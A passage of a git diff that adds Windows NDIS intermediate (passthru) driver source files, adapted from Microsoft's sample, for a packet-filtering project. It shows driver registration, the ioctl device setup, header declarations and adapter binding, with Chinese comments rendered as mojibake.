PUNICODE_STRING RegistryPath + ) +/*++ + +Routine Description: + + First entry point to be called, when this driver is loaded. + Register with NDIS as an intermediate driver. + +Arguments: + + DriverObject - pointer to the system's driver object structure + for this driver + + RegistryPath - system's registry path for this driver + +Return Value: + + STATUS_SUCCESS if all initialization is successful, STATUS_XXX + error code if not. + +--*/ +{ + NDIS_STATUS Status; + NDIS_PROTOCOL_CHARACTERISTICS PChars; + NDIS_MINIPORT_CHARACTERISTICS MChars; + NDIS_STRING Name; + + Status = NDIS_STATUS_SUCCESS; + NdisAllocateSpinLock(&GlobalLock); + + NdisMInitializeWrapper(&NdisWrapperHandle, DriverObject, RegistryPath, NULL); + + do + { + // + // Register the miniport with NDIS. Note that it is the miniport + // which was started as a driver and not the protocol. Also the miniport + // must be registered prior to the protocol since the protocol's BindAdapter + // handler can be initiated anytime and when it is, it must be ready to + // start driver instances. + // + + NdisZeroMemory(&MChars, sizeof(NDIS_MINIPORT_CHARACTERISTICS)); + + MChars.MajorNdisVersion = PASSTHRU_MAJOR_NDIS_VERSION; + MChars.MinorNdisVersion = PASSTHRU_MINOR_NDIS_VERSION; + + MChars.InitializeHandler = MPInitialize; + MChars.QueryInformationHandler = MPQueryInformation; + MChars.SetInformationHandler = MPSetInformation; + MChars.ResetHandler = NULL; + MChars.TransferDataHandler = MPTransferData; + MChars.HaltHandler = MPHalt; +#ifdef NDIS51_MINIPORT + MChars.CancelSendPacketsHandler = MPCancelSendPackets; + MChars.PnPEventNotifyHandler = MPDevicePnPEvent; + MChars.AdapterShutdownHandler = MPAdapterShutdown; +#endif // NDIS51_MINIPORT + + // + // We will disable the check for hang timeout so we do not + // need a check for hang handler! + // + MChars.CheckForHangHandler = NULL; + MChars.ReturnPacketHandler = MPReturnPacket; + + // + // Either the Send or the SendPackets handler should be specified. + // If SendPackets handler is specified, SendHandler is ignored + // + MChars.SendHandler = NULL; // MPSend; + MChars.SendPacketsHandler = MPSendPackets; + + Status = NdisIMRegisterLayeredMiniport(NdisWrapperHandle, + &MChars, + sizeof(MChars), + &DriverHandle); + if (Status != NDIS_STATUS_SUCCESS) + { + break; + } + +#ifndef WIN9X + NdisMRegisterUnloadHandler(NdisWrapperHandle, PtUnload); +#endif + + // + // Now register the protocol. + // + NdisZeroMemory(&PChars, sizeof(NDIS_PROTOCOL_CHARACTERISTICS)); + PChars.MajorNdisVersion = PASSTHRU_PROT_MAJOR_NDIS_VERSION; + PChars.MinorNdisVersion = PASSTHRU_PROT_MINOR_NDIS_VERSION; + + // + // Make sure the protocol-name matches the service-name + // (from the INF) under which this protocol is installed. + // This is needed to ensure that NDIS can correctly determine + // the binding and call us to bind to miniports below. + // + NdisInitUnicodeString(&Name, L"Passthru"); // Protocol name + PChars.Name = Name; + PChars.OpenAdapterCompleteHandler = PtOpenAdapterComplete; + PChars.CloseAdapterCompleteHandler = PtCloseAdapterComplete; + PChars.SendCompleteHandler = PtSendComplete; + PChars.TransferDataCompleteHandler = PtTransferDataComplete; + + PChars.ResetCompleteHandler = PtResetComplete; + PChars.RequestCompleteHandler = PtRequestComplete; + PChars.ReceiveHandler = PtReceive; + PChars.ReceiveCompleteHandler = PtReceiveComplete; + PChars.StatusHandler = PtStatus; + PChars.StatusCompleteHandler = PtStatusComplete; + PChars.BindAdapterHandler = PtBindAdapter; + PChars.UnbindAdapterHandler = PtUnbindAdapter; + PChars.UnloadHandler = PtUnloadProtocol; + + PChars.ReceivePacketHandler = PtReceivePacket; + PChars.PnPEventHandler= PtPNPHandler; + + NdisRegisterProtocol(&Status, + &ProtHandle, + &PChars, + sizeof(NDIS_PROTOCOL_CHARACTERISTICS)); + + if (Status != NDIS_STATUS_SUCCESS) + { + NdisIMDeregisterLayeredMiniport(DriverHandle); + break; + } + + NdisIMAssociateMiniport(DriverHandle, ProtHandle); + } + while (FALSE); + + if (Status != NDIS_STATUS_SUCCESS) + { + NdisTerminateWrapper(NdisWrapperHandle, NULL); + } + + return(Status); +} + + +NDIS_STATUS +PtRegisterDevice( + VOID + ) +/*++ + +Routine Description: + + Register an ioctl interface - a device object to be used for this + purpose is created by NDIS when we call NdisMRegisterDevice. + + This routine is called whenever a new miniport instance is + initialized. However, we only create one global device object, + when the first miniport instance is initialized. This routine + handles potential race conditions with PtDeregisterDevice via + the ControlDeviceState and MiniportCount variables. + + NOTE: do not call this from DriverEntry; it will prevent the driver + from being unloaded (e.g. on uninstall). + +Arguments: + + None + +Return Value: + + NDIS_STATUS_SUCCESS if we successfully register a device object. + +--*/ +{ + NDIS_STATUS Status = NDIS_STATUS_SUCCESS; + UNICODE_STRING DeviceName; + UNICODE_STRING DeviceLinkUnicodeString; + PDRIVER_DISPATCH DispatchTable[IRP_MJ_MAXIMUM_FUNCTION+1]; + + DBGPRINT(("==>PtRegisterDevice Register our ioctl interface \n")); + + NdisAcquireSpinLock(&GlobalLock); + + ++MiniportCount; + + if (1 == MiniportCount) + { + ASSERT(ControlDeviceState != PS_DEVICE_STATE_CREATING); + + // + // Another thread could be running PtDeregisterDevice on + // behalf of another miniport instance. If so, wait for + // it to exit. + // + while (ControlDeviceState != PS_DEVICE_STATE_READY) + { + NdisReleaseSpinLock(&GlobalLock); + NdisMSleep(1); + NdisAcquireSpinLock(&GlobalLock); + } + + ControlDeviceState = PS_DEVICE_STATE_CREATING; + + NdisReleaseSpinLock(&GlobalLock); + + + NdisZeroMemory(DispatchTable, (IRP_MJ_MAXIMUM_FUNCTION+1) * sizeof(PDRIVER_DISPATCH)); + +// BEGIN_PTUSERIO ÎÒÃÇ×Ô¼ºµÄÅÉDzÀý³Ì + DispatchTable[IRP_MJ_CREATE] = DevOpen; + DispatchTable[IRP_MJ_CLEANUP] = DevCleanup; + DispatchTable[IRP_MJ_CLOSE] = DevClose; + DispatchTable[IRP_MJ_DEVICE_CONTROL] = DevIoControl; +// END_PTUSERIO + + + NdisInitUnicodeString(&DeviceName, NTDEVICE_STRING); + NdisInitUnicodeString(&DeviceLinkUnicodeString, LINKNAME_STRING); + + // + // Create a device object and register our dispatch handlers + // + + Status = NdisMRegisterDevice( + NdisWrapperHandle, + &DeviceName, + &DeviceLinkUnicodeString, + &DispatchTable[0], + &ControlDeviceObject, + &NdisDeviceHandle + ); + + NdisAcquireSpinLock(&GlobalLock); + + ControlDeviceState = PS_DEVICE_STATE_READY; + } + + NdisReleaseSpinLock(&GlobalLock); + + DBGPRINT(("<==PtRegisterDevice: %x\n", Status)); + + return (Status); +} + + +// BEGIN_PTUSERIO + + // ÔÚÕâÀïɾ³ýÁËPtDispatchµÄʵÏÖ + +// END_PTUSERIO + + + + +NDIS_STATUS +PtDeregisterDevice( + VOID + ) +/*++ + +Routine Description: + + Deregister the ioctl interface. This is called whenever a miniport + instance is halted. When the last miniport instance is halted, we + request NDIS to delete the device object + +Arguments: + + NdisDeviceHandle - Handle returned by NdisMRegisterDevice + +Return Value: + + NDIS_STATUS_SUCCESS if everything worked ok + +--*/ +{ + NDIS_STATUS Status = NDIS_STATUS_SUCCESS; + + DBGPRINT(("==>PassthruDeregisterDevice\n")); + + NdisAcquireSpinLock(&GlobalLock); + + ASSERT(MiniportCount > 0); + + --MiniportCount; + + if (0 == MiniportCount) + { + // + // All miniport instances have been halted. Deregister + // the control device. + // + + ASSERT(ControlDeviceState == PS_DEVICE_STATE_READY); + + // + // Block PtRegisterDevice() while we release the control + // device lock and deregister the device. + // + ControlDeviceState = PS_DEVICE_STATE_DELETING; + + NdisReleaseSpinLock(&GlobalLock); + + if (NdisDeviceHandle != NULL) + { + Status = NdisMDeregisterDevice(NdisDeviceHandle); + NdisDeviceHandle = NULL; + } + + NdisAcquireSpinLock(&GlobalLock); + ControlDeviceState = PS_DEVICE_STATE_READY; + } + + NdisReleaseSpinLock(&GlobalLock); + + DBGPRINT(("<== PassthruDeregisterDevice: %x\n", Status)); + return Status; + +} + +VOID +PtUnload( + IN PDRIVER_OBJECT DriverObject + ) +// +// PassThru driver unload function +// +{ + UNREFERENCED_PARAMETER(DriverObject); + + DBGPRINT(("PtUnload: entered\n")); + PtUnloadProtocol(); + NdisIMDeregisterLayeredMiniport(DriverHandle); + NdisFreeSpinLock(&GlobalLock); + DBGPRINT(("PtUnload: done!\n")); +} + + + + + + + + + + + diff --git a/Project/Network and Communication/Phoenix/sys/passthru.h b/Project/Network and Communication/Phoenix/sys/passthru.h new file mode 100644 index 0000000..8cfdd5d --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/passthru.h @@ -0,0 +1,500 @@ +/*++ + +Copyright (c) 1992-2000 Microsoft Corporation + +Module Name: + + passthru.h + +Abstract: + + Ndis Intermediate Miniport driver sample. This is a passthru driver. + +Author: + +Environment: + + +Revision History: + + +--*/ + +#ifdef NDIS51_MINIPORT +#define PASSTHRU_MAJOR_NDIS_VERSION 5 +#define PASSTHRU_MINOR_NDIS_VERSION 1 +#else +#define PASSTHRU_MAJOR_NDIS_VERSION 4 +#define PASSTHRU_MINOR_NDIS_VERSION 0 +#endif + +#ifdef NDIS51 +#define PASSTHRU_PROT_MAJOR_NDIS_VERSION 5 +#define PASSTHRU_PROT_MINOR_NDIS_VERSION 0 +#else +#define PASSTHRU_PROT_MAJOR_NDIS_VERSION 4 +#define PASSTHRU_PROT_MINOR_NDIS_VERSION 0 +#endif + +#define MAX_BUNDLEID_LENGTH 50 + +#define TAG 'ImPa' +#define WAIT_INFINITE 0 + + + +//advance declaration +typedef struct _ADAPT ADAPT, *PADAPT; + +// BEGIN_PTUSERIO +typedef struct _OPEN_CONTEXT OPEN_CONTEXT, *POPEN_CONTEXT; +// END_PTUSERIO + +extern +NTSTATUS +DriverEntry( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING RegistryPath + ); + +NTSTATUS +PtDispatch( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP Irp + ); + +NDIS_STATUS +PtRegisterDevice( + VOID + ); + +NDIS_STATUS +PtDeregisterDevice( + VOID + ); + +VOID +PtUnloadProtocol( + VOID + ); + +// +// Protocol proto-types +// +extern +VOID +PtOpenAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status, + IN NDIS_STATUS OpenErrorStatus + ); + +extern +VOID +PtCloseAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ); + +extern +VOID +PtResetComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ); + +extern +VOID +PtRequestComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_REQUEST NdisRequest, + IN NDIS_STATUS Status + ); + +extern +VOID +PtStatus( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS GeneralStatus, + IN PVOID StatusBuffer, + IN UINT StatusBufferSize + ); + +extern +VOID +PtStatusComplete( + IN NDIS_HANDLE ProtocolBindingContext + ); + +extern +VOID +PtSendComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet, + IN NDIS_STATUS Status + ); + +extern +VOID +PtTransferDataComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet, + IN NDIS_STATUS Status, + IN UINT BytesTransferred + ); + +extern +NDIS_STATUS +PtReceive( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookaheadBufferSize, + IN UINT PacketSize + ); + +extern +VOID +PtReceiveComplete( + IN NDIS_HANDLE ProtocolBindingContext + ); + +extern +INT +PtReceivePacket( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet + ); + +extern +VOID +PtBindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE BindContext, + IN PNDIS_STRING DeviceName, + IN PVOID SystemSpecific1, + IN PVOID SystemSpecific2 + ); + +extern +VOID +PtUnbindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE UnbindContext + ); + +VOID +PtUnload( + IN PDRIVER_OBJECT DriverObject + ); + + + +extern +NDIS_STATUS +PtPNPHandler( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNET_PNP_EVENT pNetPnPEvent + ); + + + + +NDIS_STATUS +PtPnPNetEventReconfigure( + IN PADAPT pAdapt, + IN PNET_PNP_EVENT pNetPnPEvent + ); + +NDIS_STATUS +PtPnPNetEventSetPower ( + IN PADAPT pAdapt, + IN PNET_PNP_EVENT pNetPnPEvent + ); + + +// +// Miniport proto-types +// +NDIS_STATUS +MPInitialize( + OUT PNDIS_STATUS OpenErrorStatus, + OUT PUINT SelectedMediumIndex, + IN PNDIS_MEDIUM MediumArray, + IN UINT MediumArraySize, + IN NDIS_HANDLE MiniportAdapterHandle, + IN NDIS_HANDLE WrapperConfigurationContext + ); + +VOID +MPSendPackets( + IN NDIS_HANDLE MiniportAdapterContext, + IN PPNDIS_PACKET PacketArray, + IN UINT NumberOfPackets + ); + +NDIS_STATUS +MPSend( + IN NDIS_HANDLE MiniportAdapterContext, + IN PNDIS_PACKET Packet, + IN UINT Flags + ); + +NDIS_STATUS +MPQueryInformation( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_OID Oid, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesWritten, + OUT PULONG BytesNeeded + ); + +NDIS_STATUS +MPSetInformation( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_OID Oid, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesRead, + OUT PULONG BytesNeeded + ); + +VOID +MPReturnPacket( + IN NDIS_HANDLE MiniportAdapterContext, + IN PNDIS_PACKET Packet + ); + +NDIS_STATUS +MPTransferData( + OUT PNDIS_PACKET Packet, + OUT PUINT BytesTransferred, + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_HANDLE MiniportReceiveContext, + IN UINT ByteOffset, + IN UINT BytesToTransfer + ); + +VOID +MPHalt( + IN NDIS_HANDLE MiniportAdapterContext + ); + + +VOID +MPQueryPNPCapabilities( + OUT PADAPT MiniportProtocolContext, + OUT PNDIS_STATUS Status + ); + + +NDIS_STATUS +MPSetMiniportSecondary ( + IN PADAPT Secondary, + IN PADAPT Primary + ); + +#ifdef NDIS51_MINIPORT + +VOID +MPCancelSendPackets( + IN NDIS_HANDLE MiniportAdapterContext, + IN PVOID CancelId + ); + +VOID +MPAdapterShutdown( + IN NDIS_HANDLE MiniportAdapterContext + ); + +VOID +MPDevicePnPEvent( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_DEVICE_PNP_EVENT DevicePnPEvent, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength + ); + +#endif // NDIS51_MINIPORT + +VOID +MPFreeAllPacketPools( + IN PADAPT pAdapt + ); + +NDIS_STATUS +MPPromoteSecondary ( + IN PADAPT pAdapt + ); + + +NDIS_STATUS +MPBundleSearchAndSetSecondary ( + IN PADAPT pAdapt + ); + +VOID +MPProcessSetPowerOid( + IN OUT PNDIS_STATUS pNdisStatus, + IN PADAPT pAdapt, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesRead, + OUT PULONG BytesNeeded + ); + + +// +// There should be no DbgPrint's in the Free version of the driver +// +#if DBG + +#define DBGPRINT(Fmt) \ + { \ + DbgPrint("Passthru: "); \ + DbgPrint Fmt; \ + } + +#else // if DBG + +#define DBGPRINT(Fmt) + +#endif // if DBG + +#define NUM_PKTS_IN_POOL 256 + + +// +// Protocol reserved part of a sent packet that is allocated by us. +// +typedef struct _SEND_RSVD +{ + PNDIS_PACKET OriginalPkt; +} SEND_RSVD, *PSEND_RSVD; + +// +// Miniport reserved part of a received packet that is allocated by +// us. Note that this should fit into the MiniportReserved space +// in an NDIS_PACKET. +// +typedef struct _RECV_RSVD +{ + PNDIS_PACKET OriginalPkt; +} RECV_RSVD, *PRECV_RSVD; + +C_ASSERT(sizeof(RECV_RSVD) <= sizeof(((PNDIS_PACKET)0)->MiniportReserved)); + +// +// Event Codes related to the PassthruEvent Structure +// + +typedef enum +{ + Passthru_Invalid, + Passthru_SetPower, + Passthru_Unbind + +} PASSSTHRU_EVENT_CODE, *PPASTHRU_EVENT_CODE; + +// +// Passthru Event with a code to state why they have been state +// + +typedef struct _PASSTHRU_EVENT +{ + NDIS_EVENT Event; + PASSSTHRU_EVENT_CODE Code; + +} PASSTHRU_EVENT, *PPASSTHRU_EVENT; + + +// +// Structure used by both the miniport as well as the protocol part of the intermediate driver +// to represent an adapter and its corres. lower bindings +// +typedef struct _ADAPT +{ + struct _ADAPT * Next; + + NDIS_HANDLE BindingHandle; // To the lower miniport + NDIS_HANDLE MiniportHandle; // NDIS Handle to for miniport up-calls + NDIS_HANDLE SendPacketPoolHandle; + NDIS_HANDLE RecvPacketPoolHandle; + NDIS_STATUS Status; // Open Status + NDIS_EVENT Event; // Used by bind/halt for Open/Close Adapter synch. + NDIS_MEDIUM Medium; + NDIS_REQUEST Request; // This is used to wrap a request coming down + // to us. This exploits the fact that requests + // are serialized down to us. + PULONG BytesNeeded; + PULONG BytesReadOrWritten; + BOOLEAN IndicateRcvComplete; + + BOOLEAN OutstandingRequests; // TRUE iff a request is pending + // at the miniport below + BOOLEAN QueuedRequest; // TRUE iff a request is queued at + // this IM miniport + + BOOLEAN StandingBy; // True - When the miniport or protocol is transitioning from a D0 to Standby (>D0) State + BOOLEAN UnbindingInProcess; + NDIS_SPIN_LOCK Lock; + // False - At all other times, - Flag is cleared after a transition to D0 + + NDIS_DEVICE_POWER_STATE MPDeviceState; // Miniport's Device State + NDIS_DEVICE_POWER_STATE PTDeviceState; // Protocol's Device State + NDIS_STRING DeviceName; // For initializing the miniport edge + +// BEGIN_PTUSERIO + NDIS_STRING LowerDeviceName; // É豸¶ÔÏóµÄÃû³Æ£¬ÕâÊÇ´«µÝ¸øNdisOpenAdapterµÄ²ÎÊý + + ULONG RefCount; // ´Ë½á¹¹µÄÒýÓüÆÊý + POPEN_CONTEXT pOpenContext; +// END_PTUSERIO + + NDIS_EVENT MiniportInitEvent; // For blocking UnbindAdapter while + // an IM Init is in progress. + BOOLEAN MiniportInitPending; // TRUE iff IMInit in progress + NDIS_STATUS LastIndicatedStatus; // The last indicated media status + NDIS_STATUS LatestUnIndicateStatus; // The latest suppressed media status + ULONG OutstandingSends; + +// BEGIN_PTEX_FILTER + // + // Per-Adapter Filter-Specific Area + // + ULONG FilterReserved[16]; +// END_PTEX_FILTER + + +} ADAPT, *PADAPT; + +extern NDIS_HANDLE ProtHandle, DriverHandle; +extern NDIS_MEDIUM MediumArray[4]; +extern PADAPT pAdaptList; +extern NDIS_SPIN_LOCK GlobalLock; + + +#define ADAPT_MINIPORT_HANDLE(_pAdapt) ((_pAdapt)->MiniportHandle) +#define ADAPT_DECR_PENDING_SENDS(_pAdapt) \ + { \ + NdisAcquireSpinLock(&(_pAdapt)->Lock); \ + (_pAdapt)->OutstandingSends--; \ + NdisReleaseSpinLock(&(_pAdapt)->Lock); \ + } + +// +// Custom Macros to be used by the passthru driver +// +/* +BOOLEAN +IsIMDeviceStateOn( + PADAPT + ) + +*/ +#define IsIMDeviceStateOn(_pP) ((_pP)->MPDeviceState == NdisDeviceStateD0 && (_pP)->PTDeviceState == NdisDeviceStateD0 ) + diff --git a/Project/Network and Communication/Phoenix/sys/passthru.rc b/Project/Network and Communication/Phoenix/sys/passthru.rc new file mode 100644 index 0000000..1b8c4cb --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/passthru.rc @@ -0,0 +1,40 @@ +#include +#include + +/*-----------------------------------------------*/ +/* the following lines are specific to this file */ +/*-----------------------------------------------*/ + +/* VER_FILETYPE, VER_FILESUBTYPE, VER_FILEDESCRIPTION_STR + * and VER_INTERNALNAME_STR must be defined before including COMMON.VER + * The strings don't need a '\0', since common.ver has them. + */ +#define VER_FILETYPE VFT_DRV +/* possible values: VFT_UNKNOWN + VFT_APP + VFT_DLL + VFT_DRV + VFT_FONT + VFT_VXD + VFT_STATIC_LIB +*/ +#define VER_FILESUBTYPE VFT2_DRV_NETWORK +/* possible values VFT2_UNKNOWN + VFT2_DRV_PRINTER + VFT2_DRV_KEYBOARD + VFT2_DRV_LANGUAGE + VFT2_DRV_DISPLAY + VFT2_DRV_MOUSE + VFT2_DRV_NETWORK + VFT2_DRV_SYSTEM + VFT2_DRV_INSTALLABLE + VFT2_DRV_SOUND + VFT2_DRV_COMM +*/ +#define VER_FILEDESCRIPTION_STR "Sample NDIS 4.0 Intermediate Miniport Driver" +#define VER_INTERNALNAME_STR "PASSTHRU.SYS" +#define VER_ORIGINALFILENAME_STR "PASSTHRU.SYS" + +#include "common.ver" + + diff --git a/Project/Network and Communication/Phoenix/sys/precomp.h b/Project/Network and Communication/Phoenix/sys/precomp.h new file mode 100644 index 0000000..b16780e --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/precomp.h @@ -0,0 +1,18 @@ +#pragma warning(disable:4214) // bit field types other than int + +#pragma warning(disable:4201) // nameless struct/union +#pragma warning(disable:4115) // named type definition in parentheses +#pragma warning(disable:4127) // conditional expression is constant +#pragma warning(disable:4054) // cast of function pointer to PVOID +#pragma warning(disable:4244) // conversion from 'int' to 'BOOLEAN', possible loss of data + +#include +#include "passthru.h" + + +// BEGIN_PTUSERIO +#include "ptextend.h" +// END_PTUSERIO + +#include "filter.h" + diff --git a/Project/Network and Communication/Phoenix/sys/protocol.c b/Project/Network and Communication/Phoenix/sys/protocol.c new file mode 100644 index 0000000..dc0a8bc --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/protocol.c @@ -0,0 +1,1592 @@ +/*++ + +Copyright(c) 1992-2000 Microsoft Corporation + +Module Name: + + protocol.c + +Abstract: + + Ndis Intermediate Miniport driver sample. This is a passthru driver. + +Author: + +Environment: + + +Revision History: + + +--*/ + + +#include "precomp.h" +#pragma hdrstop + +#define MAX_PACKET_POOL_SIZE 0x0000FFFF +#define MIN_PACKET_POOL_SIZE 0x000000FF + +VOID +PtBindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE BindContext, + IN PNDIS_STRING DeviceName, + IN PVOID SystemSpecific1, + IN PVOID SystemSpecific2 + ) +/*++ + +Routine Description: + + Called by NDIS to bind to a miniport below. + +Arguments: + + Status - Return status of bind here. + BindContext - Can be passed to NdisCompleteBindAdapter if this call is pended. + DeviceName - Device name to bind to. This is passed to NdisOpenAdapter. + SystemSpecific1 - Can be passed to NdisOpenProtocolConfiguration to read per-binding information + SystemSpecific2 - Unused + +Return Value: + + NDIS_STATUS_PENDING if this call is pended. In this case call NdisCompleteBindAdapter + to complete. + Anything else Completes this call synchronously + +--*/ +{ + NDIS_HANDLE ConfigHandle = NULL; + PNDIS_CONFIGURATION_PARAMETER Param; + NDIS_STRING DeviceStr = NDIS_STRING_CONST("UpperBindings"); + PADAPT pAdapt = NULL; + NDIS_STATUS Sts; + UINT MediumIndex; + ULONG TotalSize; + BOOLEAN LockAllocated = FALSE; + + + UNREFERENCED_PARAMETER(BindContext); + UNREFERENCED_PARAMETER(SystemSpecific2); + + DBGPRINT(("==> Protocol BindAdapter\n")); + + do + { + // + // Access the configuration section for our binding-specific + // parameters. + // + NdisOpenProtocolConfiguration(Status, + &ConfigHandle, + SystemSpecific1); + + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + // + // Read the "UpperBindings" reserved key that contains a list + // of device names representing our miniport instances corresponding + // to this lower binding. Since this is a 1:1 IM driver, this key + // contains exactly one name. + // + // If we want to implement a N:1 mux driver (N adapter instances + // over a single lower binding), then UpperBindings will be a + // MULTI_SZ containing a list of device names - we would loop through + // this list, calling NdisIMInitializeDeviceInstanceEx once for + // each name in it. + // + NdisReadConfiguration(Status, + &Param, + ConfigHandle, + &DeviceStr, + NdisParameterString); + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + // + // Allocate memory for the Adapter structure. This represents both the + // protocol context as well as the adapter structure when the miniport + // is initialized. + // + // In addition to the base structure, allocate space for the device + // instance string. + // + TotalSize = sizeof(ADAPT) + Param->ParameterData.StringData.MaximumLength; + + +// BEGIN_PTUSERIO ÔÚÕâ¸öº¯ÊýÖУ¬ÎÒÃÇÒª³õʼ»¯É豸Ãû³Æ + + // ΪϲãÊÊÅäÆ÷Ãû³ÆÉêÇë¿Õ¼ä + TotalSize += DeviceName->MaximumLength; + +// END_PTUSERIO + + NdisAllocateMemoryWithTag(&pAdapt, TotalSize, TAG); + + if (pAdapt == NULL) + { + *Status = NDIS_STATUS_RESOURCES; + break; + } + + // + // Initialize the adapter structure. We copy in the IM device + // name as well, because we may need to use it in a call to + // NdisIMCancelInitializeDeviceInstance. The string returned + // by NdisReadConfiguration is active (i.e. available) only + // for the duration of this call to our BindAdapter handler. + // + NdisZeroMemory(pAdapt, TotalSize); + pAdapt->DeviceName.MaximumLength = Param->ParameterData.StringData.MaximumLength; + pAdapt->DeviceName.Length = Param->ParameterData.StringData.Length; + pAdapt->DeviceName.Buffer = (PWCHAR)((ULONG_PTR)pAdapt + sizeof(ADAPT)); + NdisMoveMemory(pAdapt->DeviceName.Buffer, + Param->ParameterData.StringData.Buffer, + Param->ParameterData.StringData.MaximumLength); + +// BEGIN_PTUSERIO ÔÚÕâÀïÒƶ¯É豸Ãû³Æ + + // ¹¹ÔìϲãÉ豸Ãû³Æ×Ö·û´® + pAdapt->LowerDeviceName.MaximumLength = DeviceName->MaximumLength; + pAdapt->LowerDeviceName.Length = DeviceName->Length; + + // Äã¿´ÉÏÃæµÄpAdapt->DeviceName.BufferÖ¸Ïò½á¹¹µÄĩ⣬ÎÒÃǵÄpAdapt->LowerDeviceName.BufferÔÙÏòºóÃæÌí¼Ó + // Èûº³åÇøÖ¸Ïò½á¹¹µÄ×îºó£¨ÒªÔÚÉÏÃæµÄpAdapt->DeviceName.BufferÖ®ºó£© + pAdapt->LowerDeviceName.Buffer = (PWCHAR)((ULONG_PTR)pAdapt + sizeof(ADAPT) + pAdapt->DeviceName.MaximumLength); + + // Òƶ¯ÄÚ´æ + NdisMoveMemory(pAdapt->LowerDeviceName.Buffer, DeviceName->Buffer, DeviceName->MaximumLength); + + +// BEGIN_PTEX_FILTER + // + // ³õʼ»¯´ËÊÊÅäÆ÷ÉϵĹýÂËÏà¹ØÊý¾Ý + // + FltOnInitAdapter(pAdapt); +// END_PTEX_FILTER + + // Ìí¼ÓЭÒé¶ÔÊÊÅäÆ÷µÄÒýÓà + PtRefAdapter(pAdapt); + + +// END_PTUSERIO + + + NdisInitializeEvent(&pAdapt->Event); + NdisAllocateSpinLock(&pAdapt->Lock); + LockAllocated = TRUE; + + // + // Allocate a packet pool for sends. We need this to pass sends down. + // We cannot use the same packet descriptor that came down to our send + // handler (see also NDIS 5.1 packet stacking). + // + NdisAllocatePacketPoolEx(Status, + &pAdapt->SendPacketPoolHandle, + MIN_PACKET_POOL_SIZE, + MAX_PACKET_POOL_SIZE - MIN_PACKET_POOL_SIZE, + sizeof(SEND_RSVD)); + + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + // + // Allocate a packet pool for receives. We need this to indicate receives. + // Same consideration as sends (see also NDIS 5.1 packet stacking). + // + NdisAllocatePacketPoolEx(Status, + &pAdapt->RecvPacketPoolHandle, + MIN_PACKET_POOL_SIZE, + MAX_PACKET_POOL_SIZE - MIN_PACKET_POOL_SIZE, + PROTOCOL_RESERVED_SIZE_IN_PACKET); + + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + // + // Now open the adapter below and complete the initialization + // + NdisOpenAdapter(Status, + &Sts, + &pAdapt->BindingHandle, + &MediumIndex, + MediumArray, + sizeof(MediumArray)/sizeof(NDIS_MEDIUM), + ProtHandle, + pAdapt, + DeviceName, + 0, + NULL); + + if (*Status == NDIS_STATUS_PENDING) + { + NdisWaitEvent(&pAdapt->Event, 0); + *Status = pAdapt->Status; + } + + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + pAdapt->Medium = MediumArray[MediumIndex]; + + // + // Now ask NDIS to initialize our miniport (upper) edge. + // Set the flag below to synchronize with a possible call + // to our protocol Unbind handler that may come in before + // our miniport initialization happens. + // + pAdapt->MiniportInitPending = TRUE; + NdisInitializeEvent(&pAdapt->MiniportInitEvent); + + *Status = NdisIMInitializeDeviceInstanceEx(DriverHandle, + &pAdapt->DeviceName, + pAdapt); + + if (*Status != NDIS_STATUS_SUCCESS) + { + DBGPRINT(("BindAdapter: Adapt %p, IMInitializeDeviceInstance error %x\n", + pAdapt, *Status)); + break; + } + + } while(FALSE); + + // + // Close the configuration handle now - see comments above with + // the call to NdisIMInitializeDeviceInstanceEx. + // + if (ConfigHandle != NULL) + { + NdisCloseConfiguration(ConfigHandle); + } + + if (*Status != NDIS_STATUS_SUCCESS) + { + if (pAdapt != NULL) + { + if (pAdapt->BindingHandle != NULL) + { + NDIS_STATUS LocalStatus; + + // + // Close the binding we opened above. + // + + NdisResetEvent(&pAdapt->Event); + + NdisCloseAdapter(&LocalStatus, pAdapt->BindingHandle); + pAdapt->BindingHandle = NULL; + + if (LocalStatus == NDIS_STATUS_PENDING) + { + NdisWaitEvent(&pAdapt->Event, 0); + LocalStatus = pAdapt->Status; + } + } + +// BEGIN_PTUSERIO + + // ÒƳýЭÒé¶ÔÊÊÅäÆ÷µÄÒýÓà + PtDerefAdapter(pAdapt); + +// END_PTUSERIO + + pAdapt = NULL; + } + } + + + DBGPRINT(("<== Protocol BindAdapter: pAdapt %p, Status %x\n", pAdapt, *Status)); +} + + +VOID +PtOpenAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN 